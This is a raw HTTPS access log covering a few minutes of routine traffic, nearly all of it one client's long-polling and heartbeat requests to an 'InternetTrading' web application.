[09/Jan/2026:16:00:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945902869 HTTP/1.1" -
[09/Jan/2026:16:00:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945907902 HTTP/1.1" -
[09/Jan/2026:16:00:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:00:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:00:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945912932 HTTP/1.1" -
[09/Jan/2026:16:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945917955 HTTP/1.1" -
[09/Jan/2026:16:00:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945923005 HTTP/1.1" -
[09/Jan/2026:16:00:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945928051 HTTP/1.1" -
[09/Jan/2026:16:00:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:00:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:01:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945933096 HTTP/1.1" -
[09/Jan/2026:16:01:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945938116 HTTP/1.1" -
[09/Jan/2026:16:01:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:01:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:01:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945943139 HTTP/1.1" -
[09/Jan/2026:16:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945948175 HTTP/1.1" -
[09/Jan/2026:16:01:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945953217 HTTP/1.1" -
[09/Jan/2026:16:01:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945958255 HTTP/1.1" -
[09/Jan/2026:16:01:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:01:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:01:31 +0800] 185.242.226.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:16:01:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945963275 HTTP/1.1" -
[09/Jan/2026:16:01:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945968297 HTTP/1.1" -
[09/Jan/2026:16:01:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:01:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:01:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945973326 HTTP/1.1" -
[09/Jan/2026:16:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945978347 HTTP/1.1" -
[09/Jan/2026:16:01:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945983383 HTTP/1.1" -
[09/Jan/2026:16:01:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945988420 HTTP/1.1" -
[09/Jan/2026:16:01:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:01:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:02:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945993458 HTTP/1.1" -
[09/Jan/2026:16:02:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:02:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:02:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945998480 HTTP/1.1" -
[09/Jan/2026:16:02:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946003500 HTTP/1.1" -
[09/Jan/2026:16:02:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946008546 HTTP/1.1" -
[09/Jan/2026:16:02:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946013591 HTTP/1.1" -
[09/Jan/2026:16:02:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946018622 HTTP/1.1" -
[09/Jan/2026:16:02:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:02:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:02:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946023668 HTTP/1.1" -
[09/Jan/2026:16:02:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:02:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:02:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946028700 HTTP/1.1" -
[09/Jan/2026:16:02:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946033725 HTTP/1.1" -
[09/Jan/2026:16:02:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946038760 HTTP/1.1" -
[09/Jan/2026:16:02:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946043803 HTTP/1.1" -
[09/Jan/2026:16:02:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946048836 HTTP/1.1" -
[09/Jan/2026:16:02:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:02:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:03:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946053884 HTTP/1.1" -
[09/Jan/2026:16:03:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:03:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:03:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946058911 HTTP/1.1" -
[09/Jan/2026:16:03:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946063936 HTTP/1.1" -
[09/Jan/2026:16:03:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946068961 HTTP/1.1" -
[09/Jan/2026:16:03:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946073984 HTTP/1.1" -
[09/Jan/2026:16:03:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946079027 HTTP/1.1" -
[09/Jan/2026:16:03:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:03:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:03:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946084061 HTTP/1.1" -
[09/Jan/2026:16:03:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:03:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:03:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946089089 HTTP/1.1" -
[09/Jan/2026:16:03:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946094120 HTTP/1.1" -
[09/Jan/2026:16:03:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946099165 HTTP/1.1" -
[09/Jan/2026:16:03:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946104204 HTTP/1.1" -
[09/Jan/2026:16:03:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946109233 HTTP/1.1" -
[09/Jan/2026:16:03:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:03:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:04:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946114268 HTTP/1.1" -
[09/Jan/2026:16:04:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:04:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:04:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946119298 HTTP/1.1" -
[09/Jan/2026:16:04:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946124314 HTTP/1.1" -
[09/Jan/2026:16:04:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946129337 HTTP/1.1" -
[09/Jan/2026:16:04:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946134368 HTTP/1.1" -
[09/Jan/2026:16:04:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:04:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:04:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946139388 HTTP/1.1" -
[09/Jan/2026:16:04:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946144405 HTTP/1.1" -
[09/Jan/2026:16:04:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:04:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:04:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946149438 HTTP/1.1" -
[09/Jan/2026:16:04:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946154462 HTTP/1.1" -
[09/Jan/2026:16:04:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946159497 HTTP/1.1" -
[09/Jan/2026:16:04:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946164520 HTTP/1.1" -
[09/Jan/2026:16:04:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:04:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:05:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946169555 HTTP/1.1" -
[09/Jan/2026:16:05:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946174595 HTTP/1.1" -
[09/Jan/2026:16:05:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:05:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:05:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946179636 HTTP/1.1" -
